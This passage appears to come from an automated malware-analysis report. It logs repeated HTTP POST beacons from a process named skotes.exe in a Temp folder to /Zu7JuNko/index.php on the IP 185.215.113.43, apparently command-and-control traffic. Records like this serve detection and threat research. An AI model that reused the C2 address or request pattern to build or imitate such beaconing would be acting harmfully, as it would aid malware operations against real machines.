Nov 12, 2024 10:40:24.676218033 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:25.624176979 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50180	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:27.251442909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:28.159598112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50182	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:29.672960997 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:30.576433897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50185	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:32.205930948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:33.110560894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50186	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:34.628693104 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:35.546134949 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50187	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:37.175657034 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:38.080092907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50188	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:39.601489067 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:40.503477097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50189	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:42.131877899 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:43.019814014 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50190	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:44.533385038 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:45.460709095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50191	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:47.095972061 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:48.003170967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50192	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:49.525480986 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:50.422363997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50193	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:52.066669941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:52.971554995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50194	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:54.483616114 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:40:55.388350010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50195	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:57.018501043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:40:57.916294098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50196	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:40:59.440542936 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:00.522620916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50197	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:02.141756058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:03.052258015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50198	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:04.563879013 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:05.469906092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50199	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:07.092820883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:08.007879019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50200	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:09.537466049 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:10.496577978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50201	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:12.127521992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:13.025722980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50202	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:14.547879934 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:15.474570990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50203	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:17.098195076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:18.009792089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50204	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:19.537447929 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:20.452301025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
